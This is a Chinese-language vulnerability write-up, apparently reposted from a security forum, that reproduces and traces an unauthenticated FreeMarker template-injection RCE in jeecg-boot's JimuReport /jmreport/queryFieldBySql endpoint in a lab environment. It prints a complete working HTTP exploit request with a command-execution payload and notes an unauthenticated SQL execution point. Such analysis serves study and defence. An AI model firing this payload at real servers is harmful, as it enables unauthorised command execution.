发布于周五 15:184天前 ## 1. 漏洞复现 这里使用的漏洞环境是vulhub的jeect-boot。射击场的描述是这样的: 存在以下Jimureport组件库,出现RCE漏洞是因为未授权的API /jmreport/queryFieldBySql使用freemarker解析SQL语句。 ```` POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 主机: 127.0.0.1:8080 用户代理:curl/7.88.1 接受: */* 内容类型: 应用程序/json 内容长度: 121 连接:关闭 { \'sql\': \'#assign ex=\\\'freemarker.template.utility.Execute\\\'?new()${ex(\\\'touch /tmp/success\\\')}\', \'类型\': \'0\' } `` ## 2.漏洞跟踪分析 这里的漏洞环境是使用jeecg-boot 3.5.3环境搭建的。可以从github下载,配置mysql和redis数据库,然后使用idea开始调试。 ### 拦截路线 从JimuReportConfiguration.class我们可以看到jimu报告为以下路由设置了拦截器: ```` \'/jmreport/queryFieldBySql\' \'/jmreport/loadTableData\', \'/jmreport/dictCodeSearch\' ```` ### 入口点路由(/queryFieldBySql) 你可以在这个位置的a.class中找到他的具体代码 首先从json解析出sql,并将这个变量的参数放入i.a(var2)中执行。关注: 可以发现它是用于sql注入拦截的,和waf一样存在。继续往下 这里执行,传入var2,var3,var4,var5 它们是json中传递的参数: ```` sql 数据库源 参数数组 类型 ```` 但payload中传递的东西只有:sql和type=0(这里的type内容可以是任何内容,但必须有类型,可以为空,但必须插入) 然后继续`Map var12=this.reportDbService.parseReportSql(var2, var3, var4, var5);` 这里传入的var2是: ```` #分配ex=\'freemarker.template.utility.Execute\'?new()${ex(\'open -a Calculator.app\')} `` 继续跟进,就不用看类型了,因为不影响。直接看sql 这里进来的是第二条sql,因为paramArray为null 我们在f.a 中断并继续跟进。这里实现了rce 这里var0=b(var0, var1);返回不变,没有变化,来到var0=a(var2, var0); 然后在a中,调用:`var1=FreeMarkerUtils.a(var1, var2);` ### Freemarker 调用点 继续此处“FreeMarkerUtils.a” 这里执行命令:`(new Template(\'template\', new StringReader(var0), var2)).process(var1, var3);` 跟踪流程 然后继续跟踪进程,从getRootTreeNode进入 来到进入this.doAutoImportsAndIncludes(this); 继续跟进env.getMainTemplate(); ### 初始化模板命令执行 这里的功能主要是`调用自动导入和包含功能` ```` 该环境对象具有许多处理模板的呈现和执行的属性和方法。这些属性和方法包括配置、根数据模型(rootDataModel)、指令栈(instructionStack)、异常处理程序(templateExceptionHandler)等。 在给定的代码中,我看到模板字符串\'#assign ex=\'freemarker.template.utility.Execute\'?new()${ex(\'open -a Calculator.app\')}\' 的定义。这里使用FreeMarker模板语法来定义一个变量ex,并用它来调用系统命令open -a Calculator.app。 ```` 然后进入并继续跟踪。这里我们看到this.visit 被调用了。访问的主要目的是访问元素。 这里的元素是创建一个新模板。 (后续访问也会反复调用自己,从反射调用类到获取命令) 这里可以看到TemplateElement类型变量中,valueExp为:`freemarker.template.utility.Execute\'?new()` ```` \'freemarker.template.utility.Execute\'?new()是FreeMarker模板语法中的一个使用方法,用于执行系统命令。通过这种方式,攻击者可以在受影响的应用程序上执行操作系统命令,并可能导致潜在的安全问题。 `` 而继续跟踪可以看到el的内容变成了`${ex(\'open -a Calculator.app\')}` 它一方面创建一个可以执行命令的模板,另一方面将要执行的命令分离出来,继续调用自己 这里的变量内容是 调用自身后,会返回到这个函数的accept方法 然后这里调用了eval,刚刚传入的 具体执行这里的命令: ```` ConstantValue={SimpleScalar@19070} \'freemarker.template.utility.Execute\' 值=\'freemarker.template.utility.Execute\' ```` 继续追踪,我们来到了eval中的this._eval(env),并且在_eval中调用了ConstructorFunction,这是一个反射调用。 ```` freemarker.template.utility.Execute `` 反射后,创建一个新对象 ### 获取传入最终执行的命令 那么具体要执行哪些命令呢? (之前只是分析了执行命令类部分) 当他访问调用自己时,他终于来到了accept方法, 如果继续追踪,你会发现终于来到了Runtime.getRuntime().exec(aExecute); 命令成功执行 最后附上执行命令的整体流程 ## 3. 总结 这个漏洞其实并没有什么罕见的。主要是跟踪,最后就可以找到rce的触发点了。同时不仅有freemarker的rce,还有sql注入点,可以在没有授权的情况下直接执行sql语句。也许你可以穿透mysql,通过mysql控制服务器。 这里我只是执行并创建一个用户: 不过在后续的版本中,官方也在此处添加了权限设置。以前,这里允许未经授权的访问。转载自先知社区:https://xz.aliyun.com/t/13224?time__1311=mqmxnDBD9AqQq405DIYYK0%3DTi%3DEZew0O0bDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F4 作者:cmrex
创建帐户或登录后发表意见